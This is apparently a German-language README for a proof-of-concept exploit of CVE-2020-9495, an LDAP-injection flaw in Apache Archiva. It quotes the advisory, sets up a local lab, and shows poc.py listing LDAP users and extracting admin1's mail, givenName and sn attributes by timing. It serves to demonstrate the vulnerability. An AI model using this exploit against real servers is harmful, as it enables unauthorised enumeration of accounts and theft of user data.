
Proof-of-Concept-Exploit für CVE-2020-9495, eine LDAP-Injection-Sicherheitslücke in Apache Archiva. Listet LDAP-Benutzer auf und extrahiert beliebige Attributwerte mittels Blind Injection.
CVE-2020-9495 ist eine LDAP-Injection-Schwachstelle mittleren Schweregrads in Apache Archiva Versionen vor 2.2.5. Sie erlaubt einem Angreifer, beliebige LDAP-Attributwerte von Benutzern, die auf dem LDAP-Server existieren, abzurufen.
Aus der offiziellen Apache-Archiva-Sicherheitsmeldung:
Durch die Eingabe spezieller Werte in das Archiva-Anmeldeformular kann ein Angreifer Benutzerattributdaten vom verbundenen LDAP-Server abrufen. Mit bestimmten Zeichen ist es möglich, den LDAP-Filter zu modifizieren, der zum Abfragen der Benutzer auf dem verbundenen LDAP-Server verwendet wird. Durch Messung der Antwortzeit können beliebige Attributdaten von LDAP-Benutzerobjekten abgerufen werden.
Das Skript poc.py zeigt, wie ein nicht autorisierter Angreifer Benutzer auf dem mit Archiva integrierten LDAP-Server enumerieren und den Wert eines beliebigen Attributs eines beliebigen Benutzers abrufen kann.
Überspringen Sie diesen Schritt, wenn Sie bereits einen Archiva-Server mit aktivierter LDAP-Authentifizierung haben.
Laden Sie Archiva 2.2.4 herunter und entpacken Sie es
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
Führen Sie den OpenLDAP-Server aus
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importieren Sie Benutzer aus users.ldif in LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Führen Sie den Archiva-Server aus
$ bin/archiva console
Aktivieren und konfigurieren Sie die LDAP-Authentifizierung über die Weboberfläche
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 abrufen$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last